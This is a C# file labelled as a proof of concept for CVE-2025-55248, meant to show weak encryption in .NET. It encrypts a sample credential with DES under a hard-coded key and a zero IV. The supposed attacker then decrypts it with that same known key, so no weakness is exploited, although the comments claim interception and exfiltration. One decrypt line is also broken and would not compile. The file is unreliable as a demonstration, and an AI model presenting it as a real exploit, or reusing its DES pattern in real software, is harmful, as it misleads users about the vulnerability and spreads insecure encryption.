CVE-2025-55248

// CVE-2025-55248 PoC - Demonstrating Inadequate Encryption Strength in .NET // This PoC illustrates the concept of weak encryption that could be exploited // to disclose sensitive information over a network. using System; using System.IO; using System.Net; using System.Security.Cryptography; using System.Text; namespace CVE_2025_55248_PoC { class ExploitDemo { // Vulnerable encryption using weak algorithm/short key length // Modern .NET should use AES-256 or stronger public static string WeakEncrypt(string plaintext, string key) { // VULNERABLE: Using DES with short 8-byte key (weak encryption) using (DESCryptoServiceProvider des = new DESCryptoServiceProvider()) { des.Key = Encoding.UTF8.GetBytes(key.Substring(0, 8)); des.IV = new byte[8]; ICryptoTransform encryptor = des.CreateEncryptor(des.Key, des.IV); byte[] plainBytes = Encoding.UTF8.GetBytes(plaintext); byte[] encrypted = encryptor.TransformFinalBlock(plainBytes, 0, plainBytes.Length); return Convert.ToBase64String(encrypted); } } // Attacker intercepts and decrypts the weakly encrypted data public static string WeakDecrypt(string ciphertext, string key) { using (DESCryptoServiceProvider des = new DESCryptoServiceProvider()) { des.Key = Encoding.UTF8.GetBytes(key.Substring(0, 8)); des.IV = new byte[8]; ICryptoTransform decryptor = des.CreateDecryptor(des.Key, des.IV); byte[] cipherBytes = Convert.FromBase64String(ciphertext); byte[] decrypted = decryptor.TransformFinalBlock(cipherBytes, 0, cipherBytes.Length); return Encoding.UTF8.GetBytes(decrypted).Length > 0 ? Encoding.UTF8.GetString(decrypted) : ""; } } static void Main(string[] args) { // Simulate sensitive data being transmitted with weak encryption string sensitiveData = "UserCredentials: [email protected] / P@ssw0rd123!"; string weakKey = "12345678"; // Short/weak key used by vulnerable .NET code Console.WriteLine("[*] CVE-2025-55248 - Inadequate Encryption Strength PoC"); Console.WriteLine("[*] Original sensitive data: " + sensitiveData); // Step 1: Vulnerable application encrypts data with weak algorithm string encrypted = WeakEncrypt(sensitiveData, weakKey); Console.WriteLine("[*] Weakly encrypted (interceptable): " + encrypted); // Step 2: Attacker with low-privilege access captures and decrypts string recovered = WeakDecrypt(encrypted, weakKey); Console.WriteLine("[+] Attacker recovered plaintext: " + recovered); // Step 3: Attacker exfiltrates the decrypted sensitive information Console.WriteLine("[!] Information disclosure successful - C:H impact achieved"); } } }

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